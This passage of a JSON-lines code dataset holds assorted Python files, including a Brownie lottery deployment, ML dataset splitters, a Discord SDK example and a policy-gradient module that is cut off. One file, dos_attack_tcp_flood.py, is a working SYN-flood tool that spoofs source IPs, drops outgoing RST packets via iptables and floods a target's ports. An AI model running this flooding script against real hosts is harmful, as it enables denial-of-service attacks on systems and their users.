"usage_type": "name"}, {"api_name": "json.load", "line_number": 207, "usage_type": "call"}, {"api_name": "app.models.User.query.filter", "line_number": 227, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 227, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 227, "usage_type": "name"}, {"api_name": "app.models.User.username", "line_number": 227, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 229, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 229, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 241, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 241, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 253, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 253, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 265, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 277, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 277, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 292, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 292, "usage_type": "attribute"}, {"api_name": "pytest.mark.usefixtures", "line_number": 210, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 210, "usage_type": "attribute"}]}
{"seq_id": "18617903679", "text": "from scripts.handy_funcs import get_account, get_contract, fund_with_link\nfrom brownie import Lottery, network, config\nimport time\n\n\ndef deploy_lottery():\n    account = get_account()\n    lottery = Lottery.deploy(\n        # address _priceFeedAddress\n        get_contract('eth_usd_price_feed').address,\n        # address _vrfCoordinator,\n        get_contract('vrf_coordinator').address,\n        # address _link,\n        get_contract('link_token').address,\n        # uint256 _fee,\n        config['networks'][network.show_active()]['fee'],\n        # bytes32 _keyhash\n        config['networks'][network.show_active()]['keyhash'],\n        {'from': account},\n        publish_source=config['networks'][network.show_active()].get('verify', False)\n    )\n    print('Deploying lottery!')\n    return lottery\n\n\ndef start_lottery():\n    account = get_account()\n    lottery = Lottery[-1]\n    starting_tx = lottery.startLottery({\"from\": account})\n    starting_tx.wait(1)\n    print(\"The Lottery is started!\")\n\n\ndef enter_lottery():\n    account = get_account()\n    lottery = Lottery[-1]\n    value = lottery.getEntranceFeeInEth() + 100_000_000\n    entering_tx = lottery.enter({\"from\": account, \"value\": value})\n    entering_tx.wait(1)\n    print(\"Entered the lottery!\")\n\n\ndef end_lottery():\n    \"\"\"\n    This function ends the lottery - chooses the winner but to do so,\n    it needs to provide the contract with LINK tokens as well.\n    \"\"\"\n    account = get_account()\n    lottery = Lottery[-1]\n    # Fund the contract\n    funding_tx = fund_with_link(lottery.address)\n    funding_tx.wait(1)\n    # then end the lottery - endLottery calls requestRandomness\n    # which then calls VRFCoordinator, which then calls fulfillRandomness back\n    ending_tx = lottery.endLottery({\"from\": account})\n    ending_tx.wait(1)\n    # Waiting for the fulfillRandomness callback\n    time.sleep(60)\n    print(f\"{lottery.recentWinner} is the winner!\")\n\n\ndef main():\n    deploy_lottery()\n    start_lottery()\n    enter_lottery()\n    end_lottery()\n", "repo_name": "viginti23/SmartContract_Lottery", "sub_path": "scripts/deploy_lottery.py", "file_name": "deploy_lottery.py", "file_ext": "py", "file_size_in_byte": 2001, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scripts.handy_funcs.get_account", "line_number": 7, "usage_type": "call"}, {"api_name": "brownie.Lottery.deploy", "line_number": 8, "usage_type": "call"}, {"api_name": "brownie.Lottery", "line_number": 8, "usage_type": "name"}, {"api_name": "scripts.handy_funcs.get_contract", "line_number": 10, "usage_type": "call"}, {"api_name": "scripts.handy_funcs.get_contract", "line_number": 12, "usage_type": "call"}, {"api_name": "scripts.handy_funcs.get_contract", "line_number": 14, "usage_type": "call"}, {"api_name": "brownie.config", "line_number": 16, "usage_type": "name"}, {"api_name": "brownie.network.show_active", "line_number": 16, "usage_type": "call"}, {"api_name": "brownie.network", "line_number": 16, "usage_type": "name"}, {"api_name": "brownie.config", "line_number": 18, "usage_type": "name"}, {"api_name": "brownie.network.show_active", "line_number": 18, "usage_type": "call"}, {"api_name": "brownie.network", "line_number": 18, "usage_type": "name"}, {"api_name": "brownie.config", "line_number": 20, "usage_type": "name"}, {"api_name": "brownie.network.show_active", "line_number": 20, "usage_type": "call"}, {"api_name": "brownie.network", "line_number": 20, "usage_type": "name"}, {"api_name": "scripts.handy_funcs.get_account", "line_number": 27, "usage_type": "call"}, {"api_name": "brownie.Lottery", "line_number": 28, "usage_type": "name"}, {"api_name": "scripts.handy_funcs.get_account", "line_number": 35, "usage_type": "call"}, {"api_name": "brownie.Lottery", "line_number": 36, "usage_type": "name"}, {"api_name": "scripts.handy_funcs.get_account", "line_number": 48, "usage_type": "call"}, {"api_name": "brownie.Lottery", "line_number": 49, "usage_type": "name"}, {"api_name": "scripts.handy_funcs.fund_with_link", "line_number": 51, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "20102138147", "text": "#!/usr/bin/env python\n\"\"\"\nDescription\n\n Test echo_udp.py script\n\nNote\n - works with python 2.7 and 3.6\n\nAuthor\n  David Laperriere <dlaperriere@outlook.com>\n\n\"\"\"\n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport unittest\n\nsys.path.append(os.path.abspath(\"\"))\nsys.path.append(os.path.abspath(\"../\"))\n\nfrom lib import cmd\n#import echo_udp\n\n__version_info__ = (1, 0)\n__version__ = '.'.join(map(str, __version_info__))\n__author__ = \"David Laperriere dlaperriere@outlook.com\"\n\nscript = \"echo_udp.py\"\nscript_path = os.path.join(os.path.abspath(\"\"), script)\n\n\nclass TestEchoUDP(unittest.TestCase):\n    \"\"\" Unit tests for echo_udp.py  \"\"\"\n\n    def test_python2(self):\n        out, status = cmd.run(\"python2 {} -v\".format(script_path))\n        self.assertEqual(status, 0)\n\n    def test_python3(self):\n        out, status = cmd.run(\"python3 {} -v\".format(script_path))\n        self.assertEqual(status, 0)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n    exit(0)\n", "repo_name": "dlaperriere/misc_utils", "sub_path": "test/test_echo_udp.py", "file_name": "test_echo_udp.py", "file_ext": "py", "file_size_in_byte": 973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 32, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 35, "usage_type": "attribute"}, {"api_name": "lib.cmd.run", "line_number": 39, "usage_type": "call"}, {"api_name": "lib.cmd", "line_number": 39, "usage_type": "name"}, {"api_name": "lib.cmd.run", "line_number": 43, "usage_type": "call"}, {"api_name": "lib.cmd", "line_number": 43, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "13348554206", "text": "import torch\nimport random\nimport numpy as np\n\ndef random_split(dataset, frac_train=0.8, frac_valid=0.1, frac_test=0.1,\n                 seed=0):\n    \"\"\"\n    Adapted from graph-pretrain\n    :param dataset:\n    :param task_idx:\n    :param null_value:\n    :param frac_train:\n    :param frac_valid:\n    :param frac_test:\n    :param seed:\n    :return: train, valid, test slices of the input dataset obj.\n    \"\"\"\n    np.testing.assert_almost_equal(frac_train + frac_valid + frac_test, 1.0)\n\n    num_mols = len(dataset)\n    random.seed(seed)\n    all_idx = list(range(num_mols))\n    random.shuffle(all_idx)\n\n    train_idx = all_idx[:int(frac_train * num_mols)]\n    valid_idx = all_idx[int(frac_train * num_mols):int(frac_valid * num_mols)\n                                                   + int(frac_train * num_mols)]\n    test_idx = all_idx[int(frac_valid * num_mols) + int(frac_train * num_mols):]\n\n    assert len(set(train_idx).intersection(set(valid_idx))) == 0\n    assert len(set(valid_idx).intersection(set(test_idx))) == 0\n    assert len(train_idx) + len(valid_idx) + len(test_idx) == num_mols\n\n    train_dataset = dataset[torch.tensor(train_idx)]\n    valid_dataset = dataset[torch.tensor(valid_idx)]\n    if frac_test == 0:\n        test_dataset = None\n    else:\n        test_dataset = dataset[torch.tensor(test_idx)]\n\n    return train_dataset, valid_dataset, test_dataset\n\ndef species_split(dataset, train_valid_species_id_list=[3702, 6239, 511145,\n                                                        7227, 10090, 4932, 7955],\n                  test_species_id_list=[9606]):\n    \"\"\"\n    Split dataset based on species_id attribute\n    :param dataset:\n    :param train_valid_species_id_list:\n    :param test_species_id_list:\n    :return: train_valid dataset, test dataset\n    \"\"\"\n    # NB: pytorch geometric dataset object can be indexed using slices or\n    # byte tensors. We will use byte tensors here\n\n    train_valid_byte_tensor = torch.zeros(len(dataset), dtype=torch.uint8)\n    for id in train_valid_species_id_list:\n        train_valid_byte_tensor += (dataset.data.species_id == id)\n\n    test_species_byte_tensor = torch.zeros(len(dataset), dtype=torch.uint8)\n    for id in test_species_id_list:\n        test_species_byte_tensor += (dataset.data.species_id == id)\n\n    assert ((train_valid_byte_tensor + test_species_byte_tensor) == 1).all()\n\n    train_valid_dataset = dataset[train_valid_byte_tensor]\n    test_valid_dataset = dataset[test_species_byte_tensor]\n\n    return train_valid_dataset, test_valid_dataset\n\nif __name__ == \"__main__\":\n    from collections import Counter\n", "repo_name": "snap-stanford/pretrain-gnns", "sub_path": "bio/splitters.py", "file_name": "splitters.py", "file_ext": "py", "file_size_in_byte": 2588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 868, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.testing.assert_almost_equal", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 18, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 21, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 60, "usage_type": "attribute"}]}
{"seq_id": "27108883285", "text": "import os\nimport sys\nfrom utils.port_scan import port_scan_tcp\nfrom utils.logger_util import get_logger\nfrom utils.ifaces_util import get_ifaces\n\n# set logger\nlogger = get_logger('tcp_flood_logger', './log/tcp_flood.log')\n\ntry:\n    from scapy.all import *\nexcept ImportError as e:\n    try:\n        os.system('sudo pip3 install scapy --proxy=\"http://10.50.128.110:3128\"')\n        logger.debug('scapy have been installed successfully! ! !')\n        from scapy.all import *\n    except Exception as e:\n        logger.debug(f\"======scapy installation failed======\\n{e}\\n\")\n\nfrom utils.thread_util_refactor import packThread\n\n# verify that the user running the script is root\nif os.getuid() != 0:\n    logger.error('You need to run this program as root.')\n    sys.exit(1)\n\n# input the parameters to attack\nsend_pack_type = 'q'  # send a certain amount of packets\ndst_ip = input('Input IP :')\ntcp_port_type = input('Choose random or manual input dst port, please input r or m : ')\nsrc_type = input('Choose random or local source ip, please input r or l : ')\n\n# get the default gateway and nicname\nifaces_info = get_ifaces()\niface_ip = input('Please select the interface to send packets by inputting IP address:')\niface_name = ifaces_info[iface_ip][0]\n\nlogger.debug('The dst IP is %s, the interface used to send packets is %s.' % (dst_ip, iface_name))\n\n# select the source IP type\nsrc_ip = \"\"\nif src_type == 'r' or src_type == 'R':\n    src_ip = RandIP()\n    logger.debug('The src IP uses random mode.')\nelif src_type == 'l' or src_type == 'L':\n    src_ip = iface_ip\n    logger.debug('The src IP uses the local host IP.')\n\n# define the dst port\ntcp_port = ''\ntcp_port_list = None\nif tcp_port_type == \"r\" or tcp_port_type == \"R\":\n    tcp_port_list = port_scan_tcp(dst_ip)\n    if len(tcp_port_list) == 1:\n        tcp_port = tcp_port_list[0]\n        send_pack_type = input('Send packets way : infinite loop or quantitative, please input l or q : ')\n    logger.debug('The dst port uses random mode.')\nelif tcp_port_type == \"m\" or tcp_port_type == \"M\":\n    tcp_port = input(\"Attack Port of SYN Flood :\")\n    logger.debug('The dst port uses manual input mode and port is %r' % (tcp_port))\n    send_pack_type = input('Send packets way : infinite loop or quantitative, please input l or q : ')\n\n# packet counts when sending a certain amount of packets\npack_count = 0\nif send_pack_type == 'q' or send_pack_type == 'Q':\n    pack_count = int(input('The total number of packets expected to be sent :'))\n\n'''\nBy default the Linux kernel sends an RST in response to a SYN-ACK received from the server. \nThis is because of a lack of communication between scapy and the kernel. \nFor this reason an IPTABLES rule needs to be created to block any outgoing RST packets.\n'''\ntry:\n    os.system('iptables -A OUTPUT -p tcp -s %s --tcp-flags RST RST -j DROP' % src_ip)\nexcept Exception as e:\n    logger.debug(f\"======iptables setup failed======\\n{e}\\n\")\n\nif __name__ == \"__main__\":\n    logger.info('Sending packets, please wait a moment! ! !')\n    if tcp_port_list == None or len(tcp_port_list) == 1:\n        th = packThread(pack_count, src_ip, dst_ip, iface_name, logger, 'TCP', send_pack_type=send_pack_type)\n        th.sendPackThread(tcp_port)\n        if send_pack_type == 'q' or send_pack_type == 'Q':\n            logger.info('%s packages has been sent to the port %s of %s! ! !' % (pack_count, tcp_port, dst_ip))\n    else:\n        th = packThread(pack_count, src_ip, dst_ip, iface_name, logger, 'TCP', port_list=tcp_port_list)\n        if len(tcp_port_list) <= 5:\n            th.portsThread(tcp_port_list)\n        elif len(tcp_port_list) > 5:\n            thread_num = 5\n            rand_port_list = []\n            for i in range(thread_num):\n                rand_port = random.choice(tcp_port_list)\n                rand_port_list.append(rand_port)\n                tcp_port_list.remove(rand_port)\n            logger.debug('The random dst port list is %r' % (rand_port_list))\n            th.portsThread(rand_port_list)\n", "repo_name": "hyllydia/Sonicwall-API", "sub_path": "dos_attack_linux/dos_attack_tcp_flood.py", "file_name": "dos_attack_tcp_flood.py", "file_ext": "py", "file_size_in_byte": 3988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "utils.logger_util.get_logger", "line_number": 8, "usage_type": "call"}, {"api_name": "os.system", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getuid", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "utils.ifaces_util.get_ifaces", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.port_scan.port_scan_tcp", "line_number": 53, "usage_type": "call"}, {"api_name": "os.system", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.thread_util_refactor.packThread", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.thread_util_refactor.packThread", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "73489325064", "text": "import streamlit as st\nimport pickle\nimport pandas as pd\n\nmodel = pickle.load(open('pickle/model.pkl', 'rb'))\n\ndef main():\n\n        #df = pd.read_csv(w)\n        start_date = st.date_input('start_date')\n        end_date = st.date_input('end_date')\n        pred = model.get_forecast('2020-12-01')\n        pred_ci = pred.conf_int()\n        p = pred.predicted_mean[start_date:end_date]\n        # output = p[0]\n        st.write(p)\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "logesh1999/arima", "sub_path": "flk/arima_using_streamlit.py", "file_name": "arima_using_streamlit.py", "file_ext": "py", "file_size_in_byte": 465, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pickle.load", "line_number": 5, "usage_type": "call"}, {"api_name": "streamlit.date_input", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.date_input", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "31142799210", "text": "#!/usr/bin/env python3\n\nfrom pathlib import Path\n\nimport os\nimport sys\n\nimport argparse\nimport json\nfrom enum import Enum\n\nWORKING_DIR = Path(__file__).parent.absolute()\n\nCONFIG_PATH = WORKING_DIR / 'ZLF_config.json'\n\n\nclass RegistryException(Exception):\n    pass\n\n\nclass Options(Enum):\n    ADD = '-a'\n    LIST = '-l'\n    DELETE = '-d'\n    GET = None\n\n\nclass Commands(Enum):\n    GOTO = 'cd {}'\n    EDIT = 'e {}'\n    PRINT = '{}'\n\n\nclass Registry:\n\n    @property\n    def entries(self):\n        return self._data['entries']\n\n    @entries.setter\n    def entries(self, data):\n        self._data['entries'] = data\n\n    def __init__(self):\n        try:\n            with open(CONFIG_PATH, 'r') as file:\n                self._data = json.load(file)\n        except FileNotFoundError:\n            # initialize the data\n            self._data = {\n                'entries': {},\n                'config': {}\n            }\n            self.write_registry()\n\n        self.options_map = {\n            Options.ADD: self.add,\n            Options.DELETE: self.delete,\n            Options.LIST: self.list,\n            Options.GET: self.get\n        }\n\n    def write_registry(self):\n        with open(CONFIG_PATH, 'w') as file:\n            json.dump(self._data, file)\n\n    def get(self, key):\n        if not key:\n            # pass through\n            return os.getcwd()\n\n        key = key[0]\n        try:\n            return self.entries[key]\n        except KeyError:\n            # 2nd pass\n            for k in self.entries.keys():\n                if key.strip().lower() in k.strip().lower():\n                    return self.entries[k]\n\n            # pass through\n            return str(Path(key).absolute())\n\n    def add(self, key):\n        if not key:\n            raise RegistryException('A key is required for an entry to be added.')\n\n        path = os.getcwd() if len(key) == 1 else key[1]\n        path = str(Path(path).absolute())\n        key = key[0]\n\n        if key in self.entries:\n            prompt = input(\n                f'WARNING: {key} already exists with path: {self.entries[key]}. Do you wish to overwrite? (y/n)')\n            prompt = prompt.strip().lower()\n            prompt = False if not prompt else prompt[0] == 'y'\n\n            if not prompt:\n                raise RegistryException('Cancelled overwrite.')\n\n            print('Overwriting entry.')\n\n        self.entries[key] = path\n        self.write_registry()\n\n    def delete(self, key):\n        if not key:\n            raise RegistryException('A key is required for the delete operation.')\n\n        errors = []\n        for k in key:\n            try:\n                del self.entries[k]\n            except KeyError:\n                errors.append(f'Key not found: {k}')\n\n        if errors:\n            errors = '\\n'.join(errors)\n            raise RegistryException(errors)\n\n        self.write_registry()\n\n    def list(self, **kwargs):\n        del kwargs\n\n        for k, v in self.entries.items():\n            print(f'{k:<16} |        {v}')\n\n    def option(self, option, **kwargs):\n        return self.options_map[option](**kwargs)\n\n\ndef parse_args(registry: Registry):\n    parser = argparse.ArgumentParser(description='CD with bookmarks.')\n    parser.add_argument('key', metavar='KEY PATH', nargs='*', help='key and/or path for an entry')\n\n    group = parser.add_mutually_exclusive_group()\n    group.add_argument('-a', action='store_true', help='adds a entry')\n    group.add_argument('-l', action='store_true', help='lists all entries')\n    group.add_argument('-d', action='store_true', help='deletes an entry')\n\n    args = parser.parse_args()\n    picked = [x for x in registry.options_map if x.value and getattr(args, x.value.strip('-'))]\n    picked = Options.GET if not len(picked) else picked[0]\n\n    kwargs = {'option': picked, 'key': args.key}\n\n    return kwargs\n\n\ndef main():\n    reg = Registry()\n    args = parse_args(registry=reg)\n\n    try:\n        ret = reg.option(**args)\n        if ret:\n            path = Path(ret)\n            if path.is_file():\n                return Commands.EDIT.value.format(ret)\n            else:\n                return Commands.GOTO.value.format(ret)\n\n    except RegistryException as e:\n        print(f'ERROR: {\" \".join(e.args)}')\n        exit(-1)\n\n\nif __name__ == '__main__':\n    sys.stdout.write(main())\n\n", "repo_name": "xyder/dotfiles", "sub_path": "utils/cd_tool/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4297, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 21, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 28, "usage_type": "name"}, {"api_name": "json.load", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 65, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 70, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 82, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 88, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 89, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 134, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 158, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 170, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 170, "usage_type": "attribute"}]}
{"seq_id": "27242159333", "text": "# coding=utf-8\n\nimport time\nfrom io import BytesIO\nfrom PIL import Image\n\n\ndef get_image(source, width=40, height=40, mood=False):\n    \"\"\"\n    二进制二维码转化为字符串\n    :param source: 源数据\n    :param width: 缩放图片大小\n    :param height： 缩放图片大小\n    :param mood： false->正常 true->反色\n    :return:\n    \"\"\"\n\n    data = BytesIO()\n    data.write(source)\n    image = Image.open(data)\n    image = image.resize((width, height), Image.NEAREST)\n    code = ''\n\n    for y in range(height):\n        for x in range(width):\n            pix = image.getpixel((x, y))\n            if mood:\n                if pix < 10:\n                    code += '██'\n                if pix > 200:\n                    code += '  '\n            else:\n                if pix > 200:\n                    code += '██'\n                if pix < 10:\n                    code += '  '\n        code += '\\n'\n\n    return code\n\n\ndef get_time_stamp() -> int:\n    \"\"\"\n    获得时间戳13位\n    :return: 时间戳\n    \"\"\"\n    t = time.time()\n    return int(round(t * 1000))\n", "repo_name": "wzx140/wxRebot", "sub_path": "util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 1081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "81", "api": [{"api_name": "io.BytesIO", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "PIL.Image.NEAREST", "line_number": 21, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 21, "usage_type": "name"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "5538946297", "text": "# discord is in the parent folder\nimport sys \nsys.path.insert(0, \"..\")\n\n# we can now import it\nfrom discord import Discord\nfrom discord.enum import CreateFlags, Result, ImageType\nfrom discord.model import ImageHandle\nfrom PIL import Image\nimport time, uuid\n\n# we get the application id from a file\nwith open(\"application_id.txt\", \"r\") as file:\n    applicationId = int(file.read())\n\n# we create the discord instance\napp = Discord(applicationId,  CreateFlags.Default)\nuserManager = app.GetUserManager()\nimageManager = app.GetImageManager()\n\n# callbacks\ndef onImageLoaded(result, handle):\n    if result != Result.Ok:\n        print(\"failed to fetch the image (result \" + str(result) + \")\")\n    else:\n        print(\"fetched the image!\")\n        print(\"handle:\", handle.Type, handle.Id, handle.Size)\n        \n        dimensions = imageManager.GetDimensions(handle)\n        print(\"dimensions:\", dimensions.Width, dimensions.Height)\n        \n        # we load the image\n        data = imageManager.GetData(handle)\n        im = Image.frombytes(\"RGBA\", (dimensions.Width, dimensions.Height), data)\n        im.show()\n        \n# events\ndef onCurrentUserUpdate():\n    user = userManager.GetCurrentUser()\n    print(f\"hello, {user.Username}#{user.Discriminator}!\")\n    \n    # we create an handle\n    handle = ImageHandle()\n    handle.Type = ImageType.User\n    handle.Id = user.Id\n    handle.Size = 256\n    \n    # we fetch the image\n    imageManager.Fetch(handle, True, onImageLoaded)\n    \n# bind events\nuserManager.OnCurrentUserUpdate = onCurrentUserUpdate\n\nwhile 1:\n    time.sleep(1/10)\n    app.RunCallbacks()\n    ", "repo_name": "NathaanTFM/discord-game-sdk-python", "sub_path": "examples/image.py", "file_name": "image.py", "file_ext": "py", "file_size_in_byte": 1600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "discord.Discord", "line_number": 17, "usage_type": "call"}, {"api_name": "discord.enum.CreateFlags.Default", "line_number": 17, "usage_type": "attribute"}, {"api_name": "discord.enum.CreateFlags", "line_number": 17, "usage_type": "name"}, {"api_name": "discord.enum.Result.Ok", "line_number": 23, "usage_type": "attribute"}, {"api_name": "discord.enum.Result", "line_number": 23, "usage_type": "name"}, {"api_name": "PIL.Image.frombytes", "line_number": 34, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 34, "usage_type": "name"}, {"api_name": "discord.model.ImageHandle", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.enum.ImageType.User", "line_number": 44, "usage_type": "attribute"}, {"api_name": "discord.enum.ImageType", "line_number": 44, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "39114156998", "text": "\"\"\"Variation of https://github.com/openai/spinningup/blob/master/spinup/examples/pytorch/pg_math/1_simple_pg.py\"\"\"\n\nimport torch\nimport torch.nn as nn\nfrom torch.distributions.categorical import Categorical\nimport torch.optim as optim\nimport numpy as np\nimport gym\nfrom gym.spaces import Discrete, Box\nfrom torch.utils.data import DataLoader\nimport pytorch_lightning as pl\nfrom torch.utils.data.dataset import IterableDataset\nfrom tqdm import tqdm\n\n\nclass MLPActor(nn.Module):\n    \"\"\"\n    Simple MLP network\n    Args:\n        obs_size: observation/state size of the environment\n        n_actions: number of discrete actions available in the environment\n        hidden_size: size of hidden layers\n    \"\"\"\n\n    def __init__(self, obs_size: int, n_actions: int, hidden_size: int = 32):\n        super(MLPActor, self).__init__()\n        self.net = nn.Sequential(\n            nn.Linear(obs_size, hidden_size),\n            nn.ReLU(),\n            nn.Linear(hidden_size, n_actions),\n        )\n\n    def forward(self, x):\n        return self.net(x.float())\n\n\nclass MockDataset(IterableDataset):\n    def __iter__(self):\n        yield True\n\n\nclass SimplePolicyGradient(pl.LightningModule):\n    def __init__(self, env, gamma=0.9, lr=1e-3, hidden_sizes=[32]):\n        super().__init__()\n        self.env = env\n        self.gamma = gamma\n        self.lr = lr\n        self.hidden_sizes = hidden_sizes\n\n        obs_size = self.env.observation_space.shape[0]\n        n_actions = self.env.action_space.n\n\n        self.logits_net = MLPActor(obs_size, n_actions)\n\n        self.total_reward = 0\n        self.episode_reward = 0\n        self.state = None\n        self.done = False\n\n    def forward(self, x):\n        return self.logits_net(x)\n\n    def get_policy(self, obs):\n        \"\"\"computes action selection distribution\"\"\"\n        logits = self.logits_net(obs)\n        return Categorical(logits=logits)\n\n    def get_action(self, obs):\n        \"\"\"help to realise an action selection\"\"\"\n        return self.get_policy(obs).sample().item()\n\n    def compute_loss(self, obs, act, weight):\n        # in vanilla case the weight is the reward - but we can\n        # change it to something else to yield actor critic\n        logp = self.get_policy(obs).log_prob(act)\n        return -(logp * weight).mean()\n\n    def configure_optimizers(self):\n        optimizer = optim.Adam(self.logits_net.parameters(), lr=self.lr)\n        return [optimizer]\n\n    def training_step(self, batch, batch_idx):\n        # the other way is each step is a full trajectory\n        # we'll keep it consistent, and have a single step to be an epoch in the env.\n        # just for pedagogical reasons. this is a bit tricky in this particularly\n        # framework, as we'll probably have a \"Faux Experience Replay\" to update\n        # the policy, i.e. sample trajectories and then build up gradients from that\n        if self.state is None or self.done:\n            self.state = self.env.reset()\n\n        action = self.get_action(torch.as_tensor(self.state, dtype=torch.float32))\n        next_state, reward, self.done, _ = self.env.step(action)\n        self.episode_reward += reward\n\n        # loose approximation of \"real\" policy gradient, this may be overzealous\n        # a better way is \"reward to go\" which saves things to a batch, and updates after we've\n        # experienced everything so we understand the reward attached to the consequences of\n        # our actions, rather than our actions \"thus far\"\n        loss = self.compute_loss(\n            torch.as_tensor(self.state, dtype=torch.float32),\n            torch.as_tensor([action], dtype=torch.float32),\n            torch.as_tensor([self.episode_reward], dtype=torch.float32),\n        )\n        self.state = next_state\n\n        if self.done:\n            self.total_reward = self.episode_reward\n            self.episode_reward = 0\n\n        log = {\n            \"total_reward\": torch.tensor(self.total_reward, dtype=torch.float32),\n            \"episode_reward\": torch.tensor(self.episode_reward, dtype=torch.float32),\n            \"reward\": torch.tensor(reward, dtype=torch.float32),\n            \"steps\": torch.tensor(self.global_step),\n        }\n        return {\"loss\": loss, \"log\": log, \"progress_bar\": log}\n\n    def train_dataloader(self):\n        dataset = MockDataset()\n        dataloader = DataLoader(dataset=dataset, batch_size=1, sampler=None,)\n        return dataloader\n\n    def test_model(self, num_trials=32):\n        \"\"\"\n        performs a trajectory through the environment to get the\n        cumulative reward\n        \"\"\"\n        reward_list = []\n        for _ in tqdm(range(num_trials), desc=\"Test Rollouts\"):\n            obs = self.env.reset()\n            state = torch.as_tensor(obs, dtype=torch.float32)\n            done = False\n            total_reward = 0\n            while not done:\n                action = self.get_action(state)\n                obs, r, done, _ = self.env.step(action)\n                total_reward += r\n                state = torch.as_tensor(obs, dtype=torch.float32)\n            reward_list.append(total_reward)\n\n        return {\n            \"num_trials\": len(reward_list),\n            \"mean_reward\": np.mean(reward_list),\n            \"max_reward\": np.mean(reward_list),\n            \"min_reward\": np.min(reward_list),\n            \"p50\": 